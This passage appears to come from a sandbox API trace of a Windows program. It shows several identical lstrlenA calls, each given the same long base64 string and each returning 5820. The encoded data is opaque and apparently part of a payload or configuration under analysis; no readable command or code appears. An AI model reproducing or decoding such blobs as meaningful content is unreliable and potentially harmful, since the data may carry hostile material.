cbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="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